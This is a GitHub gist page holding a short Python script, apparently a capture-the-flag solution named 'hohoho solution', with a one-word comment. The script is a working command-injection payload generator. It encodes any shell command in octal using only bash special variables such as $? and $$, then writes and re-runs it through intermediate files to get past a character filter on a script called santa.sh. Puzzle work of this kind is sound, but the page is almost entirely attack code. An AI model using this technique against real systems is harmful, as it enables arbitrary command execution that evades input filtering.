Instantly share code, notes, and snippets.

# eboda/go.py

Created December 29, 2016 22:10
hohoho solution
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
 import sys m = { '0' : '\$[\$?/\$\$]', '1' : '\$?', '2' : '\$[\$?+\$?]', '3' : '\$[\$?+\$?+\$?]', '4' : '\$[\$?+\$?+\$?+\$?]', '5' : '\$[\$?+\$?+\$?+\$?+\$?]', '6' : '\$[(\$?+\$?+\$?)*(\$?+\$?)]', '7' : '\$[(\$?+\$?+\$?)*(\$?+\$?)+\$?]' } OUTFILE_1 = "\$#" OUTFILE_2 = "\$\$" BASH_STRING = "(());\${!#:((\$?+\$?+\$?)*(\$?+\$?)+\$?):\$?}" #substr("./santa.sh", 7, 1) = "." def conv(c): """ Convert a character to its octal representation """ n = map(lambda x: m[x], list(str(oct(ord(c)))[1:])) return "\\\\" + ''.join(n) def go(cmd): payload = ';(());' # add ;\$' to the output payload += '";"\\$"\'"' # convert each character to octal and then generate a representation for each digit payload += ''.join(map(conv, list(cmd))) # write stderr to the file 0 payload += '"\';"&>%s;' % OUTFILE_1 # execute bash 0 and write stderr to a file \$\$, # this step resolves the octal representation to regular ascii payload += '%s %s&>%s;' % (BASH_STRING, OUTFILE_1, OUTFILE_2) # execute bash \$\$' payload += '%s %s;' % (BASH_STRING, OUTFILE_2) return payload.replace("\\", "\\\\") if __name__ == "__main__": if len(sys.argv) <= 1: print "Usage: python %s cmd" % sys.argv exit() cmd = ';' + ' '.join(sys.argv[1:]) + ';' print go(cmd)

Cool